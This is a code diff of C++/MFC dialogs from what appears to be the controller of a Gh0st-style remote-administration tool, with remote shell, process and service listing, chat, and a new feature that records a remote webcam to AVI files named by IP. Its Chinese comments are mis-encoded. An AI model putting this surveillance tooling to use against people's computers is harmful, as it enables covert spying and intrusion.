void EnterFullScreen(); void EnterFullScreen();
void LeaveFullScreen(); bool LeaveFullScreen();
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar); afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);

View File

@@ -81,7 +81,7 @@ int CServicesDlg::ShowServicesList(void)
m_ControlList.DeleteAllItems(); m_ControlList.DeleteAllItems();
int i = 0; int i = 0;
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{ {
szDisplayName = szBuffer + dwOffset; szDisplayName = szBuffer + dwOffset;
szServiceName = szDisplayName + lstrlen(szDisplayName) +1; szServiceName = szDisplayName + lstrlen(szDisplayName) +1;
@@ -110,11 +110,15 @@ int CServicesDlg::ShowServicesList(void)
void CServicesDlg::OnClose() void CServicesDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }

View File

@@ -14,9 +14,9 @@ public:
virtual ~CServicesDlg(); virtual ~CServicesDlg();
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
int CServicesDlg::ShowServicesList(void); int ShowServicesList(void);
void CServicesDlg::OnReceiveComplete(void); void OnReceiveComplete(void);
void CServicesDlg::ServicesConfig(BYTE bCmd); void ServicesConfig(BYTE bCmd);
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_SERVICES }; enum { IDD = IDD_DIALOG_SERVICES };

View File

@@ -111,12 +111,16 @@ VOID CShellDlg::AddKeyBoardData(void)
void CShellDlg::OnClose() void CShellDlg::OnClose()
{ {
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }

View File

@@ -13,10 +13,10 @@ public:
virtual ~CShellDlg(); virtual ~CShellDlg();
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
VOID CShellDlg::OnReceiveComplete(); VOID OnReceiveComplete();
HICON m_hIcon; HICON m_hIcon;
UINT m_nReceiveLength; UINT m_nReceiveLength;
VOID CShellDlg::AddKeyBoardData(void); VOID AddKeyBoardData(void);
UINT m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>; UINT m_nCurSel; //<2F><><EFBFBD>õ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>;
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -98,7 +98,7 @@ void CSystemDlg::ShowWindowsList(void)
m_ControlList.DeleteAllItems(); m_ControlList.DeleteAllItems();
CString str; CString str;
int i ; int i ;
for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) for ( i = 0; dwOffset <m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{ {
LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD>ھ<EFBFBD><DABE><EFBFBD> LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>
@@ -128,7 +128,7 @@ void CSystemDlg::ShowProcessList(void)
m_ControlList.DeleteAllItems(); m_ControlList.DeleteAllItems();
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9> Id+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0 //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹ<DDBD><E1B9B9> Id+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+0
int i; int i;
for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i)
{ {
LPDWORD PID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ID LPDWORD PID = LPDWORD(szBuffer + dwOffset); //<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>ID
szExeFile = szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID֮<44><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> szExeFile = szBuffer + dwOffset + sizeof(DWORD); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID֮<44><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -157,11 +157,15 @@ void CSystemDlg::ShowProcessList(void)
void CSystemDlg::OnClose() void CSystemDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }

View File

@@ -13,11 +13,11 @@ public:
virtual ~CSystemDlg(); virtual ~CSystemDlg();
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
VOID CSystemDlg::GetProcessList(void); VOID GetProcessList(void);
VOID CSystemDlg::ShowProcessList(void); VOID ShowProcessList(void);
void CSystemDlg::ShowWindowsList(void); void ShowWindowsList(void);
void CSystemDlg::GetWindowsList(void); void GetWindowsList(void);
void CSystemDlg::OnReceiveComplete(void); void OnReceiveComplete(void);
BOOL m_bHow; BOOL m_bHow;
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
enum { IDD = IDD_DIALOG_SYSTEM }; enum { IDD = IDD_DIALOG_SYSTEM };

View File

@@ -25,6 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX)
{ {
CDialog::DoDataExchange(pDX); CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk); DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
m_EditTalk.SetLimitText(2048);
} }
@@ -41,6 +42,8 @@ BOOL CTalkDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
SetIcon(m_hIcon, FALSE);
BYTE bToken = COMMAND_NEXT; BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
@@ -61,15 +64,12 @@ void CTalkDlg::OnBnClickedButtonTalk()
CString strData; CString strData;
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char* szBuffer = new char[iLength + 1]; // 2019.1.5 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1 char szBuffer[4096] = {0};
memset(szBuffer,0,sizeof(char)*iLength);
strcpy(szBuffer,strData.GetBuffer(0)); strcpy(szBuffer,strData.GetBuffer(0));
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD> m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
delete [] szBuffer;
} }
@@ -96,9 +96,13 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
void CTalkDlg::OnClose() void CTalkDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }

View File

@@ -16,6 +16,7 @@ public:
enum { IDD = IDD_DIALOG_TALK }; enum { IDD = IDD_DIALOG_TALK };
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
HICON m_hIcon;
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7> virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>

View File

@@ -118,7 +118,7 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM
void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr) void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr)
{ {
NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh; NMTOOLBARA * pnmtb=(NMTOOLBARA *)pnmh;
for (int i = 0; i < m_lstDropDownButton.GetSize(); i++) { for (int i = 0; i < m_lstDropDownButton.GetSize(); ++i) {
stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i); stDropDownInfo DropDownInfo = m_lstDropDownButton.GetAt(i);

View File

@@ -9,15 +9,110 @@
enum enum
{ {
IDM_ENABLECOMPRESS = 0x0010, // <20><>Ƶѹ<C6B5><D1B9>
IDM_SAVEAVI, // <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC> IDM_SAVEAVI, // <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>
}; };
// CVideoDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CVideoDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog) IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
AVISTREAMINFO CBmpToAvi::m_si;
CBmpToAvi::CBmpToAvi()
{
m_pfile = NULL;
m_pavi = NULL;
AVIFileInit();
}
CBmpToAvi::~CBmpToAvi()
{
AVIFileExit();
}
bool CBmpToAvi::Open( LPCTSTR szFile, LPBITMAPINFO lpbmi )
{
if (szFile == NULL)
return false;
m_nFrames = 0;
if (AVIFileOpen(&m_pfile, szFile, OF_WRITE | OF_CREATE, NULL))
return false;
m_si.fccType = streamtypeVIDEO;
m_si.fccHandler = BI_RGB;
m_si.dwScale = 1;
m_si.dwRate = 8; // ֡<><D6A1>
SetRect(&m_si.rcFrame, 0, 0, lpbmi->bmiHeader.biWidth, lpbmi->bmiHeader.biHeight);
m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage;
if (AVIFileCreateStream(m_pfile, &m_pavi, &m_si))
return false;
if (AVIStreamSetFormat(m_pavi, 0, lpbmi, sizeof(BITMAPINFO)) != AVIERR_OK)
return false;
return true;
}
bool CBmpToAvi::Write(LPVOID lpBuffer)
{
if (m_pfile == NULL || m_pavi == NULL)
return false;
return AVIStreamWrite(m_pavi, m_nFrames++, 1, lpBuffer, m_si.dwSuggestedBufferSize, AVIIF_KEYFRAME, NULL, NULL) == AVIERR_OK;
}
void CBmpToAvi::Close()
{
if (m_pavi)
{
AVIStreamRelease(m_pavi);
m_pavi = NULL;
}
if (m_pfile)
{
AVIFileRelease(m_pfile);
m_pfile = NULL;
}
}
void CVideoDlg::SaveAvi(void)
{
CMenu *pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED)
{
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED);
m_aviFile.Empty();
m_aviStream.Close();
return;
}
CString strFileName = m_strIPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi");
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD><EFBFBD>Ƶ<EFBFBD>ļ<EFBFBD>(*.avi)|*.avi|", this);
if(dlg.DoModal () != IDOK)
return;
m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_aviFile, m_BitmapInfor_Full))
{
m_aviFile.Empty();
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>!");
}
else
{
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
}
}
CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
: CDialog(CVideoDlg::IDD, pParent) : CDialog(CVideoDlg::IDD, pParent)
{ {
m_nCount = 0;
m_aviFile.Empty();
m_ContextObject = ContextObject; m_ContextObject = ContextObject;
m_iocpServer = IOCPServer; m_iocpServer = IOCPServer;
m_BitmapInfor_Full = NULL; m_BitmapInfor_Full = NULL;
@@ -52,6 +147,12 @@ void CVideoDlg::ResetScreen(void)
CVideoDlg::~CVideoDlg() CVideoDlg::~CVideoDlg()
{ {
if (!m_aviFile.IsEmpty())
{
SaveAvi();
m_aviFile.Empty();
}
if (m_pVideoCodec) if (m_pVideoCodec)
{ {
delete m_pVideoCodec; delete m_pVideoCodec;
@@ -103,8 +204,9 @@ BOOL CVideoDlg::OnInitDialog()
m_hDD = DrawDibOpen(); m_hDD = DrawDibOpen();
m_hDC = ::GetDC(m_hWnd); m_hDC = ::GetDC(m_hWnd);
SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "<EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD>(&C)");
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>(&V)"); SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>(&V)");
SysMenu->AppendMenu(MF_SEPARATOR);
CString strString; CString strString;
@@ -117,22 +219,36 @@ BOOL CVideoDlg::OnInitDialog()
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
} }
return TRUE; // return TRUE unless you set the focus to a control m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_CAMERA));
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
return TRUE;
} }
void CVideoDlg::OnClose() void CVideoDlg::OnClose()
{ {
if (!m_aviFile.IsEmpty())
{
SaveAvi();
m_aviFile.Empty();
}
#if CLOSE_DELETE_DLG
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
#endif
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
#if CLOSE_DELETE_DLG
delete this; delete this;
#endif
} }
void CVideoDlg::OnReceiveComplete(void) void CVideoDlg::OnReceiveComplete(void)
{ {
++m_nCount;
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
{ {
case TOKEN_WEBCAM_DIB: case TOKEN_WEBCAM_DIB:
@@ -152,35 +268,31 @@ void CVideoDlg::DrawDIB(void)
if (SysMenu == NULL) if (SysMenu == NULL)
return; return;
int nHeadLen = 1 + 1 + 4; const int nHeadLen = 1 + 1 + 4;
LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer(); LPBYTE szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength(); UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
if (szBuffer[1] == 0) // û<>о<EFBFBD><D0BE><EFBFBD>H263ѹ<33><D1B9><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD> if (szBuffer[1] == 0) // û<>о<EFBFBD><D0BE><EFBFBD>H263ѹ<33><D1B9><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
{ {
// <20><>һ<EFBFBD>Σ<EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD> // <20><>һ<EFBFBD>Σ<EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>
/* if (m_nCount == 1) if (m_nCount == 1)
{ {
pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
} }
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/ memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
} }
else // <20><><EFBFBD><EFBFBD> else // <20><><EFBFBD><EFBFBD>
{ {
////<2F><><EFBFBD><EFBFBD><EFBBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵĵڶ<C4B5><DAB6><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> ////<2F><><EFBFBD><EFBFBD><EFBBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵĵڶ<C4B5><DAB6><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
InitCodec(*(LPDWORD)(szBuffer + 2)); //<2F>ж<EFBFBD> InitCodec(*(LPDWORD)(szBuffer + 2)); //<2F>ж<EFBFBD>
if (m_pVideoCodec != NULL) if (m_pVideoCodec != NULL)
{ {
//pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //<2F><>Ƶû<C6B5>н<EFBFBD>ѹ memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //<2F><>Ƶû<C6B5>н<EFBFBD>ѹ
//<2F><><EFBFBD>ʼ<EFBFAA><CABC><EFBFBD><EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬδѹ<CEB4><D1B9><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><>ʾ<EFBFBD><CABE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ϡ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>avi<76><69>ʽ //<2F><><EFBFBD>ʼ<EFBFAA><CABC><EFBFBD><EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬδѹ<CEB4><D1B9><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><>ʾ<EFBFBD><CABE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ϡ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>avi<76><69>ʽ
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
(LPBYTE)m_BitmapData_Full, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><EFBFBD>m_lpScreenDIB (LPBYTE)m_BitmapData_Full, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ
/* m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
(LPBYTE)m_lpScreenDIB, NULL, NULL); //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><D1B9>m_lpScreenDIB*/
} }
} }
@@ -194,9 +306,16 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
return; return;
m_pVideoCodec = new CVideoCodec; m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>ʽ ƥ<><C6A5><EFBFBD><EFBFBD> if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
{ {
OutputDebugStringA("======> InitCompressor failed \n"); OutputDebugStringA("======> InitCompressor failed \n");
delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL;
